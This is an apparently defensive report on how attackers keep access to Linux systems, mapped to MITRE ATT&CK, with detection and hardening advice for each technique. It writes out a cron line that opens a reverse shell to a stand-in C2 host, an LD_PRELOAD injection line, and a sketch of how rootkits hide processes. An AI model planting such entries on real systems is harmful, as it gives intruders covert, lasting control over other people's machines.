Expert Analysis of Linux Persistence Mechanisms

I. Introduction: The Adversary's Foothold and Contextual Framework

I.A. The Crucial Role of Persistence in the Attack Lifecycle

Persistence is a fundamental tactic in the post-exploitation phase of a cyber intrusion, categorized under MITRE ATT&CK Tactic ID **TA0003**.[1] This tactic involves techniques employed by an adversary to maintain continuous access to a compromised system, ensuring their presence survives interruptions such as system restarts, administrator credential changes, or defensive cleanup attempts.[1]

Maintaining a sustained foothold is critical for an adversary's success.[2] While initial exploitation (Execution) and Privilege Escalation (PE) are necessary initial steps [3], persistence guarantees that the attacker can fulfill their long-term objectives, which may include extended data exfiltration, lateral movement within the network, or waiting for an optimal time to strike.[2] The selection of a persistence mechanism is inherently tied to stealth, as the techniques are often designed to leverage evasion and obfuscation, hiding malicious activity within the legitimate operational fabric of the operating system to bypass automated security tools.[4]

I.B. Classification of Persistence Mechanisms

Linux persistence methods can be broadly classified based on the level of system access they require and the operational layer they target. This operational layer directly correlates with the required privilege, the ease of implementation, and the corresponding difficulty of detection:

1. **Userland Configuration:** Targets user-specific settings, such as shell initialization files (.bashrc) or SSH configuration (~/.ssh/authorized_keys). These methods generally require only the credentials or access rights of the target user account.
2. **System Configuration:** Targets system-wide initialization or scheduling facilities, such as Crontab or Systemd services. These mechanisms typically require root (or administrative) privileges to establish persistence across all users and reboots.
3. **Kernel Manipulation:** Targets the core operating system functionality through Loadable Kernel Modules (LKMs) or by modifying essential system binaries. This approach requires the highest level of privilege and deep technical knowledge but offers maximum stealth and reliability.

I.C. The Persistence Trade-Off Triangle

Analysis of various Linux persistence techniques reveals that threat actors constantly navigate a difficult tactical decision: balancing **Stealth, Reliability, and Required Privilege/Complexity**. For instance, deploying a malicious script through modifying a user's .bashrc is low in complexity and only requires user-level credentials, but its stealth is relatively low (easy to detect with file monitoring), and its reliability is dependent on the target user initiating an interactive shell login.[6]

Conversely, deploying a kernel-level rootkit demands high complexity and requires maximum privileges to load the LKM, but in return, it provides the highest possible stealth (operating outside user space) and near-perfect reliability, surviving reboots and potentially evading detection for extended periods.[7] The decision regarding which technique to employ is therefore a strategic calculation driven by the asset's value, the immediate objectives of the compromise (a quick access grab versus long-term espionage), and the confidence the adversary has in maintaining that access.[4]

II. User-Specific and Account-Based Persistence

These persistence methods leverage existing user accounts and configuration files, often requiring only user-level access to the compromised machine.

II.A. SSH Backdoors: Compromising Authentication Channels (T1098.004)

The Secure Shell (SSH) protocol provides a powerful channel for persistent access. Attackers leverage SSH mechanisms, particularly key-based authentication, to bypass traditional password-based detection.

Mechanism 1: Unauthorized Key Injection (~/.ssh/authorized_keys)

Public key authentication specified in the ~/.ssh/authorized_keys file allows a user to log into an SSH server without a password.[8] An adversary can establish persistent access by simply appending their public key to this file.[9] This method is highly effective because it grants subsequent, frictionless access, bypassing multi-factor authentication systems that rely on password challenges. In real-world attacks, malware has been documented repeatedly inserting duplicate keys to ensure they can re-infect the host and guarantee persistence.[10] This tactical redundancy is a key indicator of determined adversary behavior.

Mechanism 2: Malicious Account Creation

Attackers may create entirely new backdoor user accounts to ensure persistent access. A highly privileged method involves creating or modifying an existing user account and setting its User ID (UID) to 0. A UID of 0 is reserved for the root user, meaning any account configured with this

UID automatically inherits root privileges, effectively creating a hidden, full-access backdoor.[12]

The value of SSH key injection (T1098.004) is derived from its ability to facilitate **non-interactive, programmatic access** for Command and Control (C2) communication. Unlike methods dependent on interactive shells (like .bashrc), an SSH key allows automated tools or scripts to maintain continuous connectivity without triggering the system logging mechanisms typically focused on monitoring full user shell logins. This characteristic makes the SSH key backdoor significantly more valuable for automated malware deployments and continuous, covert remote control.

Detection and Mitigation Focus

Detecting SSH backdoors requires focusing on critical artifact monitoring. Endpoint Detection and Response (EDR) agents should be configured to flag process execution data, specifically monitoring for commands (such as bash or cat) that interact with the authorized_keys file.[9] Additionally, system hardening requires regular auditing of all accounts for excessive, unused, or orphaned keys, and Linux Auditd rules should be established to monitor attempts to create or modify accounts with a UID of 0.[10]

II.B. Shell Configuration Hijacking (.bashrc or .profile) (T1546.004)

User-specific shell initialization files, such as ~/.bashrc (for Bash) or ~/.zshrc (for Zsh), are scripts executed every time a new interactive shell is opened.[13] Attackers leverage this trusted execution chain to achieve user-level persistence.

Mechanism 1: Direct Command Injection

The most straightforward method is injecting arbitrary commands into these initialization files.[13] Examples include adding a reverse shell command or creating a malicious alias so that when a victim runs a common command, such as ls, a payload is secretly executed or a connection is initiated.[13]

Mechanism 2: Dynamic Linker Hijacking (LD_PRELOAD Abuse) (T1574.006)

A more advanced technique involves manipulating the dynamic linker via environment variables. By inserting a command such as export LD_PRELOAD=/tmp/malicious_library.so into ~/.bashrc, the attacker instructs the system's dynamic linker to load their custom shared object (.so) library before any standard libraries on the next successful login.[7] This grants the malicious library the ability to override or "hook" standard C library functions (e.g., system calls related to process listing or file I/O) utilized by subsequent processes executed in that shell.[14] Advanced persistent threat (APT) groups, including APT41 and Aquatic Panda, have been observed utilizing LD_PRELOAD in Linux environments for payload loading and persistence.[14]

The use of LD_PRELOAD (T1574.006) represents a significant escalation, as it is not merely a persistence method but a built-in **evasion mechanism** applied at the userland level. By hooking functions like fork or execve, the malicious library effectively functions as a userland rootkit, allowing the attacker to hide their processes or files from standard diagnostic tools *within* the compromised shell session. This capability demonstrates how initial persistence can be immediately followed by sophisticated defense evasion tactics without requiring a complete escalation to kernel-level privileges.

Detection and Mitigation Focus

Detection must target both file integrity and runtime behavior. Linux Auditd rules must be configured to detect modifications to sensitive shell configuration files, including those residing in user home directories.[15] From a runtime perspective, monitoring execve events that include the LD_PRELOAD environment variable is a crucial signal for identifying this sophisticated persistence technique.[7]

III. Scheduled and Service-Level Persistence (High Reliability)

Persistence mechanisms based on scheduling or service management offer high reliability because they execute payloads automatically at defined intervals or upon system initialization, ensuring the adversary maintains continuous access.

III.A. Crontab Persistence (T1053.003)

The cron utility is the time-based job scheduler used in Unix-like operating systems, executing programs at system startup or according to a predefined schedule.[16] This predictability makes it a highly reliable persistence vector.[6]

Attackers use two primary methods:

1. **User Crontabs:** Non-privileged accounts can schedule tasks via crontab -e. The persistence achieved here is limited to the specific user's session but is still effective for regular execution of a payload (e.g., a binary running every ten hours).[6]
2. **System-wide Crontabs:** If root access is obtained, attackers prefer placing malicious entries in system-wide directories like /etc/cron.d/ or modifying /etc/crontab. These jobs execute with system privileges (often as root) and persist across reboots.[6] A documented example involves creating a system job in /etc/cron.d/pwn that schedules a reverse shell connection back to the attacker's C2 infrastructure every minute (* * * * * root bash -i >& /dev/tcp/C2_IP/9003 0>&1).[6]

Forensic Artifacts and Detection

Indicators of Compromise (IoCs) related to Crontab abuse include new entries in the user-specific file paths (/var/spool/cron/crontabs/<user>) or the system directory (/etc/cron.d/).[16] Detection requires monitoring the execution of the crontab binary and utilizing File Integrity Monitoring (FIM) or behavioral rules to detect modification of these critical scheduling files. Analysts must look for unusual command execution, especially complex or obfuscated payloads running from atypical locations.[6]

III.B. Systemd Service Backdoors (T1543.002)

Systemd is the initialization system used by modern Linux distributions to manage services and startup processes.[19] By creating custom service unit files, attackers can guarantee execution of their payload early in the boot sequence.

Attack Mechanisms: Unit File Creation

Attackers typically create malicious .service unit files and place them in configuration directories such as /etc/systemd/system/. By configuring the service with WantedBy=multi-user.target, the attacker ensures the payload runs reliably every time the system boots and begins accepting user logins.[19] This provides very high reliability, often executing with root privileges. A common technique involves a unit file designed to establish a persistent reverse shell connection.[20] Sophisticated threat groups, including Sandworm Team (GOGETTER), Gomir, and Fysbis, have leveraged systemd services for this exact purpose.[19] Furthermore, attackers can use Timer unit files (.timer) alongside service files to achieve recurring persistence, rather than relying solely on a system reboot.[20]

A comparison of Systemd and Crontab methods demonstrates a tactical preference for **enhanced defense evasion** using Systemd. While Crontab entries are highly visible as plain text commands, a malicious Systemd unit file can be named deceptively (e.g., Gomir used syslogd.service [19]) and its underlying execution is managed by the system service manager, potentially masking its activity within legitimate Systemd logs and administration tools. This provides superior stealth compared to a standard cron entry.

Detection and Mitigation Focus

Detection requires robust FIM and Auditd coverage over systemd configuration directories, particularly /etc/systemd/system/.[19] Analysts must scrutinize the content of newly created or modified .service files, paying close attention to the ExecStart parameter for signs of obfuscation, unexpected network connections, or unauthorized binaries.[19]

IV. Advanced Stealth: Integrity and Kernel Manipulation

These techniques operate at the deepest levels of the operating system, requiring maximum privileges and presenting the greatest challenge to detection.

IV.A. Replacing System Binaries (Trojanizing Utilities) (T1036.005)

This persistence method involves replacing legitimate, essential system utilities—such as ls, ps, netstat, or cd—with malicious, "trojanized" versions.[21]

Attack Mechanism: Subverting Administrative Trust

The primary objective is to compromise the administrator's ability to diagnose the system. The modified binary retains its original function but executes hidden, malicious functionality (e.g., initiating a reverse shell) and, crucially, **filters its output** to hide attacker artifacts.[21] For example, a trojanized ps command will list all benign processes while deliberately omitting any Process IDs (PIDs) associated with the attacker's malware.[21] While replacing binaries requires root access, the attacker seeks to modify the core system path locations (/bin, /sbin) for maximum stealth, though some may rely on manipulating the $PATH variable to prioritize a malicious copy in a secondary location.[23]

Attackers may use sophisticated code obfuscation techniques, such as the "Trojan Source" attack that embeds invisible Unicode characters into source code, to make the malicious functionality invisible to human reviewers during source code audits.[24]

Detection and Mitigation Strategy: The FIM Imperative

Detection of binary replacement hinges entirely on establishing and maintaining an external integrity baseline. **File Integrity Monitoring (FIM)** tools, such as AIDE or OSSEC, calculate cryptographic hashes (checksums like MD5 or SHA256) of critical binaries and configuration files, flagging any unauthorized change.[25] FIM must be configured to monitor all immutable binaries in directories like /bin, /sbin, and /usr/bin, tracking permissions, size, and multiple checksum algorithms.[27] FIM checks should be automated and performed frequently (daily or weekly).[28]

If a system binary is successfully replaced, the administrator's primary diagnostic tools are immediately compromised, resulting in an **information vacuum** where commands like ps or ls cannot be trusted to report the truth. This makes FIM the single most important non-kernel defense layer against this technique. For FIM to be effective, its own database, configuration, and binary (/usr/sbin/aide) must be protected, optimally by being secured on read-only media to prevent the attacker from compromising the integrity monitor itself.[28]

IV.B. Kernel Module (Rootkit) Persistence (T1014)

Kernel rootkits represent the apex of Linux persistence, operating within the kernel space—the most privileged layer of the operating system.[7]

The Nature of Loadable Kernel Modules (LKMs)

Loadable Kernel Modules (LKMs) allow code to be dynamically loaded into the running kernel.[7] An attacker uses LKMs to embed malicious code directly into the kernel memory, granting deep system control and the ability to intercept all system activity.[22] Persistence for the LKM itself is often established by adding load commands to system boot scripts, such as /etc/rc.local or /etc/rc.d/rc.local, ensuring the rootkit loads early in the boot process.[29]

Evasion Technique 1: System Call Hooking

Older or simpler kernel rootkits often employ system call hooking. This involves identifying and modifying the kernel's sys_call_table—the index of functions exposed to user space applications—to redirect legitimate system calls to malicious functions embedded in the LKM before executing the original call.[22] This mechanism is used to hide artifacts:

- **Hiding Files:** Hooking calls like sys_getdents64 or readdir() allows the rootkit to filter out specific malicious file names before the results are returned to utilities like ls.[31]
- **Hiding Processes:** Intercepting process listing calls prevents malicious Process IDs (PIDs) from appearing in tools like ps.[22]
- **Hiding Network Connections:** Hooking network-related calls allows the rootkit to mask Command and Control (C2) connections from network utilities like netstat.[22]

Evasion Technique 2: Direct Kernel Object Manipulation (DKOM)

Advanced kernel rootkits utilize Direct Kernel Object Manipulation (DKOM), which allows the LKM to access and modify kernel data structures in memory directly, bypassing the need to hook the system call table.[32]

The most common application of DKOM is hiding processes. Linux maintains a doubly linked list of processes using task_struct objects. To hide a malicious process, the rootkit modifies the prev_task and next_task pointers of the neighboring processes to remove the malicious task_struct from the global list, making it invisible to process traversal utilities.[32] Crucially, the rootkit leaves the next_run and prev_run pointers (used by the scheduler) intact, allowing the process to continue running normally despite being hidden from the administrator.[32]

Advanced Detection and Forensics

Because rootkits compromise the kernel itself, standard OS tools are insufficient for detection.[21] Detection relies heavily on accessing information from an isolated, trustworthy layer. Specialized **memory forensics** tools, such as Volatility, are essential. These tools capture the state of kernel memory and analyze structures like the task_struct list or the sys_call_table for signs of manipulation, injection, or broken links indicating DKOM.[33] Furthermore, behavioral monitoring for network anomalies (e.g., uncommon ports or custom protocols) associated with

C2 activity is also vital.[22]

The fundamental challenge posed by kernel rootkits is one of **Trust Integrity**. Once the kernel is compromised, no information derived from standard operating system functions (file listings, process outputs, system logs) can be fully trusted.[21] Consequently, effective defense against advanced rootkits must rely on external detection mechanisms, such as hypervisor-based systems or rigorous, offline forensic analysis of memory taken from outside the compromised operating system environment.[21]

V. Comparative Analysis and Comprehensive Countermeasures

V.A. The Adversarial Calculus: A Comparative Matrix

The effectiveness and risk profile of a persistence method depend on a delicate balance of technical factors. The following matrix summarizes the trade-offs observed in the analysis:

Persistence Technique Matrix

Technique	**MITRE ID**	**Required Privilege**	**Stealth Level**	**Reliability**	**Forensic Noise/IO**
SSH Backdoors (authorized_keys)	T1098.004	Target User	Medium	High	Authentication Logs (often ignored)
Crontab Persistence	T1053.003	User/Root	Medium	High	File Modification (FIM/Auditd)
Systemd Service Backdoor	T1543.002	Root	Medium-High	Very High (Guaranteed Boot)	File Creation, Service Start Logs
Modifying .bashrc / LD_PRELO	T1546.004 / T1574.006	Target User	Low-Medium	Medium (Requires login)	File Write, execve (Environme

AD					nt Var)
Replacing System Binaries	T1036.005	Root	High	Medium (Risk of Instability)	Checksum Failure (FIM)
Kernel Module (Rootkit) Persistence	T1014	Root (Load LKM)	Very High (Kernel Space)	Very High	Memory Artifacts, Kernel Logs (if verbose)

V.B. Advanced Evasion Mechanisms of Rootkits

The sophisticated evasion used by kernel-level threats necessitates defense mechanisms that specifically counter kernel manipulation.

System Call and Kernel Object Evasion Mechanisms (Rootkits)

Rootkit Evasion Target	**Linux Kernel Mechanism/Object**	**Attack Technique**	**Primary Defensive Tool**
Hiding Processes	task_struct (Doubly Linked List)	Direct Kernel Object Manipulation (DKOM)	Memory Forensics (Volatility)
Hiding Files/Directories	sys_call_table (e.g., sys_getdents64)	System Call Hooking (LKM)	Memory Forensics, Integrity Checkers (Chkrootkit)
Hiding Network Connections	sys_call_table (e.g., sys_connect)	System Call Hooking (LKM)	Memory Forensics, Network Traffic Analysis
Self-Persistence at Boot	rc.local, GRUB config	File Modification / Bootloader Tampering	FIM, Boot Integrity Monitoring

V.C. Unified Defense Strategy: Layering Detection and Prevention

Effective defense against Linux persistence mechanisms requires a layered security posture that integrates system hardening with comprehensive monitoring.

1. Preventative Hardening and System Hygiene

Minimizing the attack surface is the first line of defense. Organizations should adhere to the principle of **Least Privilege**, ensuring that services and user accounts run only with the minimum necessary permissions.[36] Unnecessary software packages and services should be disabled or removed to limit the available avenues for persistence.[36] Furthermore, tools like fapolicyd should be deployed to enforce application control, preventing unauthorized code execution, which directly counters the deployment of trojanized binaries or malicious kernel modules.[38]

2. Mandatory File Integrity Monitoring (FIM)

FIM is the most critical host-based detection layer against modifications to system files. Tools such as AIDE or OSSEC must be implemented to baseline the integrity of the operating system.[25] The monitoring scope must be exhaustive, covering all core binaries (/bin, /sbin), system initialization files (/etc/rc.local), systemd configuration directories, and user shell startup files (.bashrc, .profile).[27] Critically, to prevent the adversary from tampering with the integrity checker itself, the FIM database, configuration, and binary must be secured, ideally stored on read-only media.[28]

3. Comprehensive Behavioral Monitoring (Linux Auditd)

The Linux Audit system tracks security-relevant events based on pre-configured rules, recording crucial information about file access and process execution.[39] Granular Auditd rules should be deployed to monitor for writes (-w) to the configuration files most frequently abused for persistence:

- User account files (/etc/passwd, /etc/shadow) for unauthorized UID 0 creation.[12]
- Systemd configuration files (/etc/systemd/system/).[19]
- Crontab files (/etc/crontab, /etc/cron.d/, and spool directories).[18]
- User shell configuration files (e.g., recursive monitoring of /home/*/).[15]

Furthermore, security teams must monitor execve syscalls for the presence of suspicious environment variables, specifically the LD_PRELOAD variable, which signals sophisticated dynamic linker hijacking.[7]

4. Advanced Threat Hunting and Forensics

For kernel-level threats, reliance on host-based integrity tools is insufficient. Organizations must incorporate advanced tools and methodologies, including:

- **Memory Forensics:** Utilizing tools like Volatility to capture memory dumps and analyze kernel structures for evidence of Direct Kernel Object Manipulation (DKOM) or syscall table hooking.[33]
- **Rootkit Scanners:** Running specialized tools like Chkrootkit and Rootkit Hunter to detect known rootkit signatures.[33]
- **Artifact Hunting:** Actively searching for orphaned or excessive SSH keys in authorized_keys files and analyzing unusual or non-essential scheduled jobs in crontabs, as these artifacts are frequently left behind by attackers seeking low-effort backdoors.[10]

Works cited

1. Persistence, Tactic TA0003 - Enterprise | MITRE ATT&CK®, accessed October 29, 2025, https://attack.mitre.org/tactics/TA0003/
2. A Deep Dive Into Persistence Techniques Used In Cyberattacks - Packetlabs, accessed October 29, 2025, https://www.packetlabs.net/posts/a-deep-dive-into-persistence-techniques-used-in-cyberattacks/
3. Linux Persistence and Privilege Escalation: Threat Research January 2022 Release, accessed October 29, 2025, https://www.splunk.com/en_us/blog/security/linux-persistence-and-privilege-escalation-threat-research-january-2022-release.html
4. Persistence - Defender's Handbook - Huntress, accessed October 29, 2025, https://www.huntress.com/defenders-handbooks/persistence-in-cybersecurity
5. How Malware Hides From You - USC Viterbi School of Engineering - University of Southern California, accessed October 29, 2025, https://illumin.usc.edu/how-malware-hides-from-you/
6. Linux Persistence: Strategies for Survival in a Cyber War - Hackers Arise, accessed October 29, 2025, https://hackers-arise.com/linux-persistence-strategies-for-survival-in-a-cyber-war/
7. Linux Detection Engineering - A Continuation on Persistence Mechanisms — Elastic Security Labs, accessed October 29, 2025, https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
8. SSH Authorized Keys File Modification | Prebuilt detection rules reference - Elastic, accessed October 29, 2025, https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/cross-platform/persistence_ssh_authorized_keys_modification
9. Detection: Linux SSH Authorized Keys Modification | Splunk Security ..., accessed October 29, 2025, https://research.splunk.com/endpoint/f5ab595e-28e5-4327-8077-5008ba97c850/
10. SSH Excessive Keys Risk - Do You Have Too Many SSH Keys? Probably. - Sandfly Security, accessed October 29, 2025, https://sandflysecurity.com/blog/ssh-excessive-keys-risk-do-you-have-too-many-ssh-keys

11. Threat Actors Installing Linux Backdoor Accounts - ASEC, accessed October 29, 2025, https://asec.ahnlab.com/en/61185/
12. Potential Linux Backdoor User Account Creation | Prebuilt detection rules reference - Elastic, accessed October 29, 2025, https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/linux/persistence_linux_backdoor_user_creation
13. Linux Threat Hunting Persistence | 0xMatheuZ, accessed October 29, 2025, https://matheuzsecurity.github.io/hacking/linux-threat-hunting-persistence/
14. Hijack Execution Flow: Dynamic Linker Hijacking, Sub-technique T1574.006 - Enterprise, accessed October 29, 2025, https://attack.mitre.org/techniques/T1574/006/
15. Detection: Linux Auditd Unix Shell Configuration Modification | Splunk Security Content, accessed October 29, 2025, https://research.splunk.com/endpoint/66f737c6-3f7f-46ed-8e9b-cc0e5bf01f04/
16. Scheduled Task/Job: Cron, Sub-technique T1053.003 - Enterprise | MITRE ATT&CK®, accessed October 29, 2025, https://attack.mitre.org/techniques/T1053/003/
17. Linux Malware Persistence With Cronjobs labs - NICCS - CISA, accessed October 29, 2025, https://niccs.cisa.gov/training/catalog/dmnint/linux-malware-persistence-cronjobs-labs
18. Cron Job Created or Modified | Elastic Security [8.19], accessed October 29, 2025, https://www.elastic.co/guide/en/security/8.19/cron-job-created-or-modified.html
19. Create or Modify System Process: Systemd Service, Sub-technique T1543.002 - Enterprise, accessed October 29, 2025, https://attack.mitre.org/techniques/T1543/002/
20. Linux Detection Engineering - A primer on persistence mechanisms — Elastic Security Labs, accessed October 29, 2025, https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
21. Hypervisor Support for Identifying Covertly Executing Binaries - USENIX, accessed October 29, 2025, https://www.usenix.org/event/sec08/tech/full_papers/litty/litty.pdf
22. What Is a Rootkit? - Palo Alto Networks, accessed October 29, 2025, https://www.paloaltonetworks.com/cyberpedia/rootkit
23. Which is the best practice when replacing a system binary? - Unix & Linux Stack Exchange, accessed October 29, 2025, https://unix.stackexchange.com/questions/11570/which-is-the-best-practice-when-replacing-a-system-binary
24. Trojan Source: Hiding malicious code in plain sight - Malwarebytes, accessed October 29, 2025, https://www.malwarebytes.com/blog/news/2021/11/trojan-source-hiding-malicious-code-in-plain-sight
25. Top Linux Malware Scanners for Detection and System Hardening, accessed October 29, 2025,

https://linuxsecurity.com/features/the-three-best-tools-you-need-to-scan-your-linux-system-for-malware
26. File Integrity Monitoring (OSSEC) - University IT, accessed October 29, 2025, https://uit.stanford.edu/service/ossec
27. AIDE Manual Version 0.16.2, accessed October 29, 2025, https://aide.github.io/doc/
28. 4.11. Checking Integrity with AIDE | Security Guide | Red Hat Enterprise Linux | 7, accessed October 29, 2025, https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/security_guide/sec-using-aide
29. Deep Dive Into a Linux Rootkit Malware | FortiGuard Labs - Fortinet, accessed October 29, 2025, https://www.fortinet.com/blog/threat-research/deep-dive-into-a-linux-rootkit-malware
30. Kernel Rootkit Tricks - » Linux Magazine, accessed October 29, 2025, http://www.linux-magazine.com/Online/Features/Kernel-Rootkit-Tricks
31. Rootkit, Technique T1014 - Enterprise | MITRE ATT&CK®, accessed October 29, 2025, https://attack.mitre.org/techniques/T1014/
32. Hidden Processes: The Implication for Intrusion Detection - Black Hat, accessed October 29, 2025, https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/bh-us-04-butler.pdf
33. Detecting Linux rootkits, accessed October 29, 2025, https://linux-audit.com/intrusion-detection-linux-rootkits/
34. accessed October 29, 2025, https://www.wiz.io/academy/rootkits#:~:text=Rootkit%20detection%20requires%20specialized%20tools,forensics%2C%20help%20uncover%20hidden%20threats.
35. Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit, accessed October 29, 2025, https://volatilityfoundation.org/phalanx-2-revealed-using-volatility-to-analyze-an-advanced-linux-rootkit/
36. Tips for Hardening an Oracle Linux Server, accessed October 29, 2025, https://www.oracle.com/technical-resources/articles/it-infrastructure/admin-tips-harden-oracle-linux.html
37. Understanding Linux Persistence Mechanisms and Detection Tools, accessed October 29, 2025, https://linuxsecurity.com/features/linux-persistence-mechanisms-detection-tools
38. Security hardening | Red Hat Enterprise Linux | 8, accessed October 29, 2025, https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/security_hardening/index
39. Chapter 11. Auditing the system | Security hardening | Red Hat Enterprise Linux | 8, accessed October 29, 2025, https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/security_hardening/auditing-the-system_security-hardening